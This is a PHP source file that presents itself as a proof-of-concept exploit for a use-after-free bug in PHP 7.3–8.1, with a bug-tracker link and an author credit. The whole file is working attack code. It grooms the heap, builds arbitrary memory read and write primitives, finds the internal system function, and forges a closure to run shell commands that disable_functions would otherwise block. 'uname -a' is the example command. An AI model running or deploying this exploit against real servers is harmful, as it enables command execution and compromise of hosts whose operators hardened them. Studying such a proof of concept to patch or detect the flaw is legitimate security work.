exploit.php

<?php

# PHP 7.3-8.1 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=81705
# 
# This exploit should work on all PHP 7.3-8.1 versions
# released as of 2022-01-07
#
# Author: https://github.com/mm0r1

new Pwn("uname -a");

class Helper { public $a, $b, $c; }
class Pwn {
    const LOGGING = false;
    const CHUNK_DATA_SIZE = 0x60;
    const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE;
    const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1;

    const HT_SIZE = 0x118;
    const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1;

    public function __construct($cmd) {
        for($i = 0; $i < 10; $i++) {
            $groom[] = self::alloc(self::STRING_SIZE);
            $groom[] = self::alloc(self::HT_STRING_SIZE);
        }
        
        $concat_str_addr = self::str2ptr($this->heap_leak(), 16);
        $fill = self::alloc(self::STRING_SIZE);

        $this->abc = self::alloc(self::STRING_SIZE);
        $abc_addr = $concat_str_addr + self::CHUNK_SIZE;
        self::log("abc @ 0x%x", $abc_addr);

        $this->free($abc_addr);
        $this->helper = new Helper;
        if(strlen($this->abc) < 0x1337) {
            self::log("uaf failed");
            return;
        }

        $this->helper->a = "leet";
        $this->helper->b = function($x) {};
        $this->helper->c = 0xfeedface;

        $helper_handlers = $this->rel_read(0);
        self::log("helper handlers @ 0x%x", $helper_handlers);

        $closure_addr = $this->rel_read(0x20);
        self::log("real closure @ 0x%x", $closure_addr);

        $closure_ce = $this->read($closure_addr + 0x10);
        self::log("closure class_entry @ 0x%x", $closure_ce);
        
        $basic_funcs = $this->get_basic_funcs($closure_ce);
        self::log("basic_functions @ 0x%x", $basic_funcs);

        $zif_system = $this->get_system($basic_funcs);
        self::log("zif_system @ 0x%x", $zif_system);

        $fake_closure_off = 0x70;
        for($i = 0; $i < 0x138; $i += 8) {
            $this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->rel_write($fake_closure_off + 0x38, 1, 4);
        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->rel_write($fake_closure_off + $handler_offset, $zif_system);

        $fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
        self::log("fake closure @ 0x%x", $fake_closure_addr);

        $this->rel_write(0x20, $fake_closure_addr);
        ($this->helper->b)($cmd);

        $this->rel_write(0x20, $closure_addr);
        unset($this->helper->b);
    }

    private function heap_leak() {
        $arr = [[], []];
        set_error_handler(function() use (&$arr, &$buf) {
            $arr = 1;
            $buf = str_repeat("\x00", self::HT_STRING_SIZE);
        });
        $arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
        return $buf;
    }

    private function free($addr) {
        $payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);
        $payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));
        
        $arr = [[], []];
        set_error_handler(function() use (&$arr, &$buf, &$payload) {
            $arr = 1;
            $buf = str_repeat($payload, 1);
        });
        $arr[1] .= "x";
    }

    private function rel_read($offset) {
        return self::str2ptr($this->abc, $offset);
    }

    private function rel_write($offset, $value, $n = 8) {
        for ($i = 0; $i < $n; $i++) {
            $this->abc[$offset + $i] = chr($value & 0xff);
            $value >>= 8;
        }
    }

    private function read($addr, $n = 8) {
        $this->rel_write(0x10, $addr - 0x10);
        $value = strlen($this->helper->a);
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
        return $value;
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
                return $this->read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }

    private function get_basic_funcs($addr) {
        while(true) {
            // In rare instances the standard module might lie after the addr we're starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20180731, 20190902, 20200930, 20210902])) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    self::log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }

    private function log($format, $val = "") {
        if(self::LOGGING) {
            printf("{$format}\n", $val);
        }
    }

    static function alloc($size) {
        return str_shuffle(str_repeat("A", $size));
    }

    static function str2ptr($str, $p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p + $j]);
        }
        return $address;
    }
}

?>